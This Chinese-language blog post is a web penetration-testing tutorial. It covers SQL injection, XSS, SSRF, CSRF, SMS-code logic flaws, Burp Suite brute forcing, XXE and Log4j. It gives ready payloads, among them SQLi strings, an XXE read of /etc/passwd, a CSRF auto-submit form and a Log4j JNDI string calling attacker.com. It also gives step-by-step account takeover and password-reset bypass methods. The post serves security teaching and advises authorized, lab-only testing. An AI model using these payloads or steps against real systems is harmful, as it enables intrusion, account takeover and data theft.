Web安全与漏洞挖掘

发布于:2025-05-22 ⋅ 阅读:(19) ⋅ 点赞:(0)

WEB-01:Web安全基础概览(一)

核心概念

  • OWASP Top 10:2023年最新风险包括注入漏洞、身份认证失效、敏感数据泄露等。

  • 攻击面:前端(XSS、CSRF)、后端(SQL注入、文件上传)、协议层(HTTP头注入)。

  • 防御原则:最小权限、输入验证、输出编码、深度防御。

实战建议

  • 使用浏览器开发者工具(F12)分析请求/响应,定位潜在漏洞点。

WEB-02:SQL注入漏洞原理与危害

原理:通过未过滤的用户输入拼接SQL语句,篡改查询逻辑。

攻击类型

  1. 联合查询注入' UNION SELECT username, password FROM users--

  2. 报错注入' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--

  3. 盲注:基于布尔或时间延迟判断结果(如' AND IF(1=1, SLEEP(5), 0)--)。

危害

  • 数据库拖库(如用户凭证、支付信息)。

  • 服务器文件读取(通过LOAD_FILE()函数)。

  • 远程命令执行(通过数据库导出功能)。


WEB-03:寻找第一个SQL注入漏洞

手动测试步骤

  1. 探测注入点:在输入框或URL参数中添加'",观察是否返回数据库错误。

  2. 验证漏洞


http://example.com?id=1' AND '1'='1 -- 页面正常 

http://example.com?id=1' AND '1'='2 -- 页面异常 

  1. 利用工具:使用sqlmap自动化检测:

sqlmap -u "http://example.com?id=1" --dbs 

防御方案

  • 预编译语句(如Java的PreparedStatement)。

  • 使用ORM框架(如Hibernate)。


WEB-04:Python实现自动化SQL注入攻击(一)

代码示例(基于布尔盲注):


import requests 

def check_vulnerability(url): 

payload = "1' AND 1=1 -- " 

response = requests.get(url + payload) 

if "Welcome" in response.text: 

return True 

else: 

return False 

# 调用函数 

target_url = "http://example.com?id=" 

print("漏洞存在" if check_vulnerability(target_url) else "漏洞不存在") 

进阶:结合二分法逐字符提取数据库名(参考sqlmap算法)。


WEB-05:XSS、SSRF、CSRF漏洞中的Fuzz技巧

  1. XSS Fuzz
  • 测试Payload:<script>alert(1)</script><img src=x onerror=alert(1)>

  • 使用工具:Burp Suite的Intruder模块批量测试输入点。

  1. SSRF Fuzz
  • 探测内网IP:将参数替换为http://127.0.0.1:8080file:///etc/passwd

  • 绕过限制:使用DNS重绑定或URL编码(如http://ⓔⓧⓐⓜⓟⓛⓔ.com)。

  1. CSRF Fuzz
  • 生成POC页面:

<form action="http://target.com/change_email" method="POST"> 

<input type="hidden" name="email" value="attacker@evil.com"> 

</form> 

<script>document.forms[0].submit();</script> 


WEB-06:短信验证码逻辑漏洞(爆破、回显、转友)

  1. 爆破漏洞
  • 场景:验证码未做次数限制。

  • 攻击:使用Burp Suite的Intruder对4位数字验证码暴力枚举(0000-9999)。

  1. 回显漏洞
  • 场景:验证码直接返回在响应中(如JSON字段{"code": "1234"})。

  • 利用:自动化脚本提取验证码并提交。

  1. 转友漏洞
  • 场景:验证码与手机号未绑定,攻击者可复用验证码至其他号码。

  • 绕过:拦截请求修改手机号参数为受害者号码。


WEB-07:验证码与手机未绑定认证关系

漏洞原理

服务端仅校验验证码是否正确,未验证发送验证码的手机号与提交请求的手机号是否一致。

实战案例

  1. 使用自己手机号获取验证码。

  2. 提交验证码时,将请求中的手机号参数改为目标号码。

  3. 服务端误认为目标号码已验证,允许重置密码或登录。

修复方案

  • 绑定Session或Token关联手机号与验证码。

WEB-08:实战利用BP挖掘口令漏洞

步骤

  1. 捕获登录请求:通过Burp Suite拦截登录POST请求。

  2. 标记Fuzz点:选中密码字段,右键发送至Intruder

  3. 加载字典:使用rockyou.txt或自定义弱口令列表(如admin/123456)。

  4. 分析结果:根据响应长度或状态码识别成功登录。


WEB-09:BOS/Kites AMS中的Fuzz骚姿势

BOS(Bucket Overwrite Storage)漏洞

  • Fuzz目标:上传文件名参数(如../../../etc/passwd)。

  • 利用:覆盖服务器关键文件,触发RCE。

Kites AMS漏洞

  • Fuzz点:XML解析模块(XXE注入)。

  • Payload示例:


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 

<root>&xxe;</root> 


WEB-10:实战Fuzz参数到远程RCE漏洞控制电脑

案例:Apache Log4j 2.x RCE(CVE-2021-44228)

  1. Fuzz输入点:所有用户可控的日志字段、HTTP头、表单参数。

  2. 注入Payload


${jndi:ldap://attacker.com/Exploit} 

  1. 搭建恶意LDAP服务:使用工具marshalsec启动LDAP重定向至恶意类。

  2. 获取反向Shell:目标服务器加载远程类后,执行反向连接命令。


总结

本部分系统剖析了Web安全的核心漏洞类型与高级挖掘技巧,从SQL注入到逻辑漏洞,结合自动化工具与手动Fuzz方法,覆盖攻击者视角的完整渗透链路。下期预告:漏洞复现与自动化工具(Xray联动、Docker快速搭建靶场)!


注意事项

  • 所有漏洞验证需在授权范围内进行,禁止非法测试。

  • 建议使用DVWA、WebGoat等靶场进行练习。


网站公告

今日签到

点亮在社区的每一天
去签到